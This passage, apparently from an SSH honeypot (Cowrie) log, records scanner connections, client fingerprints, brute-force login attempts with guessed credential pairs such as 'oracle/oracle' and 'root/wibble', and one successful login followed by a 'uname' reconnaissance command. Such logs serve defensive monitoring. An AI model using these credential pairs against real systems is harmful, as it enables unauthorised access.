failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:00.249231Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:fd:4f:56:06:3a:08:1e:d3:77:de:f4:08:2a:f9:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNqvf6F+jnMKKUHxVWgzeyTtDR9XJwnlbcddO17BKH3lUIE8pcdOHaFLNsMlNNyUaRf2km50VA+skQwqKUXlxe2ueSxqAMzdHDlNLrQPnOYRLKXZ0v+0L1/498qqkr1+jnJIHJ8c+b6lCmd4wuHDbms8ZEvk5nwEO/b1onJJfqfj0M9NRF9G0gu1o8qeeU7TGfEUAj766mUu++aZLH4E9DUV/JWwwvZO16J+Rbgr/XmKPcOTKUJ4p6A5CtdWGFuwDIWGSWJJV/roxL2/GiJziTJXWr2Oq/KToO15m8y/yPWF7azK9goAN6wdAYBNuCE+FMXpuMCerjLb/A76UwjTfp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:fd:4f:56:06:3a:08:1e:d3:77:de:f4:08:2a:f9:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:00.333277Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:fd:4f:56:06:3a:08:1e:d3:77:de:f4:08:2a:f9:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNqvf6F+jnMKKUHxVWgzeyTtDR9XJwnlbcddO17BKH3lUIE8pcdOHaFLNsMlNNyUaRf2km50VA+skQwqKUXlxe2ueSxqAMzdHDlNLrQPnOYRLKXZ0v+0L1/498qqkr1+jnJIHJ8c+b6lCmd4wuHDbms8ZEvk5nwEO/b1onJJfqfj0M9NRF9G0gu1o8qeeU7TGfEUAj766mUu++aZLH4E9DUV/JWwwvZO16J+Rbgr/XmKPcOTKUJ4p6A5CtdWGFuwDIWGSWJJV/roxL2/GiJziTJXWr2Oq/KToO15m8y/yPWF7azK9goAN6wdAYBNuCE+FMXpuMCerjLb/A76UwjTfp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:00.337989Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wibble","message":"login attempt [root/wibble] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:00.354382Z","src_ip":"163.7.9.84","session":"7b93e24b2d25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:de:e6:9c:a1:e2:e6:8c:6b:f5:b2:c1:47:2a:eb:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0gh6QnixJIcEKHZaq1GZUNekpcH9Sx58XY+fugMi9KhIaj+do4+K8mLDDAPNSFQ9kt6yhUjjK0M9XLV8a3924aCa4BSqtwmzERCw1dilezdyUFzAdR/ItK5Ny9EvRZQ6Hrf4POTit/rpY1Y0C+1tZ17NeET4xXynqquAdcTDhSmEUezD8v0MC4Nks2YhaNo/7ScQ1fS6PEJeotoiRyillnOfl2G8Er5zTwb3DfTpiHY/O2GMRnDFj6W2BfhwafcU9aFFkycqQ6gwz0zBpOZg1hJxUQnDcLOmFw71Tidefwr7n3ysuTjwug0w5hQ6aDDzdQK2+510bl8s3qLGCx5E/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:de:e6:9c:a1:e2:e6:8c:6b:f5:b2:c1:47:2a:eb:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:00.423606Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:de:e6:9c:a1:e2:e6:8c:6b:f5:b2:c1:47:2a:eb:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0gh6QnixJIcEKHZaq1GZUNekpcH9Sx58XY+fugMi9KhIaj+do4+K8mLDDAPNSFQ9kt6yhUjjK0M9XLV8a3924aCa4BSqtwmzERCw1dilezdyUFzAdR/ItK5Ny9EvRZQ6Hrf4POTit/rpY1Y0C+1tZ17NeET4xXynqquAdcTDhSmEUezD8v0MC4Nks2YhaNo/7ScQ1fS6PEJeotoiRyillnOfl2G8Er5zTwb3DfTpiHY/O2GMRnDFj6W2BfhwafcU9aFFkycqQ6gwz0zBpOZg1hJxUQnDcLOmFw71Tidefwr7n3ysuTjwug0w5hQ6aDDzdQK2+510bl8s3qLGCx5E/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:00.427390Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:00.510717Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:01.621851Z","src_ip":"163.7.9.84","session":"7b93e24b2d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":51228,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a29f22be540","protocol":"ssh","message":"New connection: 43.163.119.215:51228 (10.17.0.5:22) [session: 1a29f22be540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:02.199724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:02.215952Z","src_ip":"43.163.119.215","session":"1a29f22be540","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:02.463994Z","src_ip":"43.163.119.215","session":"1a29f22be540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:03.204683Z","src_ip":"43.163.119.215","session":"1a29f22be540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:04.454220Z","src_ip":"43.163.119.215","session":"1a29f22be540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":39832,"dst_ip":"159.203.135.109","dst_port":22,"session":"e06f33d51052","protocol":"ssh","message":"New connection: 154.83.196.237:39832 (159.203.135.109:22) [session: e06f33d51052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:11.768600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:11.773299Z","src_ip":"154.83.196.237","session":"e06f33d51052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:11.887534Z","src_ip":"154.83.196.237","session":"e06f33d51052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"turtle","message":"login attempt [root/turtle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:12.376921Z","src_ip":"154.83.196.237","session":"e06f33d51052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:13.494529Z","src_ip":"154.83.196.237","session":"e06f33d51052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":58188,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d2e89e866a0","protocol":"ssh","message":"New connection: 202.29.225.206:58188 (159.203.135.109:22) [session: 2d2e89e866a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:14.399561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:14.408777Z","src_ip":"202.29.225.206","session":"2d2e89e866a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:14.654818Z","src_ip":"202.29.225.206","session":"2d2e89e866a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:15.669841Z","src_ip":"202.29.225.206","session":"2d2e89e866a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":35390,"dst_ip":"159.203.135.109","dst_port":22,"session":"173d2b10f83b","protocol":"ssh","message":"New connection: 103.75.199.4:35390 (159.203.135.109:22) [session: 173d2b10f83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:16.263148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:16.267580Z","src_ip":"103.75.199.4","session":"173d2b10f83b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:16.358595Z","src_ip":"103.75.199.4","session":"173d2b10f83b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:16.631193Z","src_ip":"103.75.199.4","session":"173d2b10f83b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:16.861289Z","src_ip":"103.75.199.4","session":"173d2b10f83b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:16.864881Z","src_ip":"103.75.199.4","session":"173d2b10f83b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:16.913354Z","src_ip":"202.29.225.206","session":"2d2e89e866a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:16.959765Z","src_ip":"103.75.199.4","session":"173d2b10f83b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:16.965183Z","src_ip":"103.75.199.4","session":"173d2b10f83b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53046,"dst_ip":"159.203.135.109","dst_port":22,"session":"704b9c9961ea","protocol":"ssh","message":"New connection: 194.59.206.2:53046 (159.203.135.109:22) [session: 704b9c9961ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:18.891981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:18.982362Z","src_ip":"194.59.206.2","session":"704b9c9961ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:18.993385Z","src_ip":"194.59.206.2","session":"704b9c9961ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:19.165363Z","src_ip":"194.59.206.2","session":"704b9c9961ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":52088,"dst_ip":"10.17.0.5","dst_port":22,"session":"39586790825c","protocol":"ssh","message":"New connection: 67.102.183.113:52088 (10.17.0.5:22) [session: 39586790825c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:35.292603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:35.301196Z","src_ip":"67.102.183.113","session":"39586790825c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:35.373337Z","src_ip":"67.102.183.113","session":"39586790825c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wibble","message":"login attempt [root/wibble] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:35.689526Z","src_ip":"67.102.183.113","session":"39586790825c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:36.764340Z","src_ip":"67.102.183.113","session":"39586790825c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58776,"dst_ip":"159.203.135.109","dst_port":22,"session":"77cf9de88afb","protocol":"ssh","message":"New connection: 103.75.199.4:58776 (159.203.135.109:22) [session: 77cf9de88afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:38.007721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:38.012595Z","src_ip":"103.75.199.4","session":"77cf9de88afb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-s